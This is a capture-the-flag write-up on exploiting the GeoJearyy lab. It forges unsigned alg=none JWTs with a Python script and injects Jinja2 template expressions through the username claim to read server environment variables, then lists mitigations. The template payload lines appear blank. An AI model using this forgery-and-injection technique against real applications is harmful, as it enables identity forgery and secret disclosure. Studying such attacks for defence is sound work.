Post

Server-Side Template Injection via Unsigned JWT Claim | GeoJearyy

Server-Side Template Injection via Unsigned JWT Claim | GeoJearyy

Lab: GeoJearyy

Overview

GeoJearyy is a beverage storefront where authenticated users can browse flavours, add products to the cart, and view their account dashboard.

During testing, the authentication cookie stood out because the application trusted a JWT named gj_auth. By modifying this token and setting the JWT algorithm to none, it was possible to control the username claim.

The controlled username was then reflected inside the account page greeting. Instead of being rendered as plain text, the value was evaluated by the server-side template engine, leading to Server-Side Template Injection.

Objective

Gain code execution or sensitive data disclosure through the application and retrieve the challenge flag.

Vulnerability Identification

1
2
3
4
5
OWASP Top 10:2025
└── A05 - Injection
    └── Server-Side Template Injection
        └── User-controlled JWT claim rendered inside server-side template
            └── Jinja2 object traversal used to access os.environ

A secondary weakness also helped exploitation:

1
2
3
4
Authentication Weakness
└── JWT accepts alg=none
    └── Attacker can forge unsigned token claims
        └── username claim becomes attacker-controlled input

Reconnaissance

After logging in, the application issued two cookies:

1
Cookie: session=<flask-session>; gj_auth=<jwt>

The normal account page used the JWT identity to display a greeting:

1
Welcome back, kelvin!

This suggested that the value inside the JWT was being used directly in the account template.

The important cookie was:

1
gj_auth=<JWT_TOKEN>

Decoding the JWT showed user-controlled profile data such as:

1
2
3
4
5
6
{
  "username": "kelvin",
  "email": "kelvin@kel.com",
  "iat": 1781169989,
  "exp": 1781173589
}

Testing JWT Trust

The JWT header was modified to use the none algorithm:

1
2
3
4
{
  "alg": "none",
  "typ": "JWT"
}

Because the application accepted the unsigned token, the payload could be modified without knowing any signing secret.

A forged token structure looked like this:

1
base64url(header).base64url(payload).

Notice the trailing dot. That represents an empty signature.

SSTI Payload

To test whether the username was being evaluated by the server-side template engine, the username claim was replaced with a Jinja2 expression.

Initial test payload:


If the account page returned:

1
Welcome back, 49!

that confirmed Server-Side Template Injection.

After confirming template evaluation, the payload was upgraded to read environment variables:


The forged JWT payload became:

1
2
3
4
5
6
{
  "username": "",
  "email": "kelvin@kel.com",
  "iat": 1781169989,
  "exp": 1781173589
}

Forging the Token

A simple Python helper can generate the unsigned JWT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import base64
import json
import time

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

header = {
    "alg": "none",
    "typ": "JWT"
}

payload = {
    "username": "",
    "email": "kelvin@kel.com",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}

token = (
    b64url(json.dumps(header, separators=(",", ":")).encode())
    + "."
    + b64url(json.dumps(payload, separators=(",", ":")).encode())
    + "."
)

print(token)

This produced a token in the following format:

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.<payload>.

Exploitation Request

The forged token was then placed inside the gj_auth cookie and the account page was requested:

1
2
3
4
5
GET /account HTTP/2
Host: target
Cookie: session=<valid_session_cookie>; gj_auth=<forged_unsigned_jwt>
User-Agent: Mozilla/5.0
Accept: text/html

Proof of Exploitation

The server rendered the injected template expression inside the account greeting:

1
2
3
4
5
6
7
8
9
<h1 class="display greet">
  Welcome back, environ({
    'PYTHON_VERSION': '3.11.15',
    'PWD': '/app',
    'HOME': '/home/geojearyy',
    'SERVER_SOFTWARE': 'gunicorn/22.0.0',
    'FLAG': 'WEBVERSE{REDACTED}'
  })!
</h1>

The presence of os.environ output confirmed that the template payload was executed server-side.

The flag was stored in an environment variable:

1
FLAG=WEBVERSE{REDACTED}

Root Cause Analysis

The issue was caused by two insecure implementation choices.

First, the application accepted JWTs using the none algorithm. This allowed an attacker to forge arbitrary claims without a valid signature.

Second, the username claim from the JWT was passed into a server-side template in an unsafe way. Instead of being treated as plain text, the value was evaluated by the template engine.

The vulnerable flow looked like this:

1
2
3
4
5
6
7
8
9
Attacker-controlled JWT
        ↓
Modified username claim
        ↓
Account page greeting
        ↓
Server-side template evaluation
        ↓
Environment variable disclosure

Impact

An attacker could use this vulnerability to:

  • Forge authenticated identity data.
  • Inject server-side template expressions.
  • Access sensitive application internals.
  • Read environment variables.
  • Expose secrets, credentials, or challenge flags.
  • Potentially escalate to remote code execution depending on template sandboxing and runtime permissions.

In this lab, the impact was confirmed by reading the FLAG environment variable.

Mitigation

To fix this issue:

  • Never accept JWTs signed with alg=none.
  • Enforce a strict allowlist of signing algorithms such as HS256 or RS256.
  • Always verify JWT signatures server-side.
  • Do not trust identity claims directly from client-side cookies.
  • Treat template variables as data, not template source.
  • Never dynamically render user-controlled values with functions such as render_template_string.
  • Store sensitive secrets outside the web process environment where possible.
  • Add regression tests for JWT algorithm confusion and SSTI payloads.

A safer JWT verification approach should explicitly define the expected algorithm:

1
2
3
4
5
jwt.decode(
    token,
    key=JWT_SECRET,
    algorithms=["HS256"]
)

A safer template rendering approach should pass user data as escaped variables:

1
return render_template("account.html", username=username)

and avoid rendering user-controlled strings as template source.

Real-World Insight

This challenge is a good example of how two medium-severity mistakes can combine into a critical vulnerability.

Accepting unsigned JWTs gave control over trusted identity data. Rendering that trusted identity data unsafely inside a server-side template turned claim manipulation into server-side code execution behavior.

Authentication data should never be treated as inherently safe just because it comes from a cookie or token. If the client can store it, the client can tamper with it unless the server verifies it correctly.

This post is licensed under CC BY 4.0 by the author.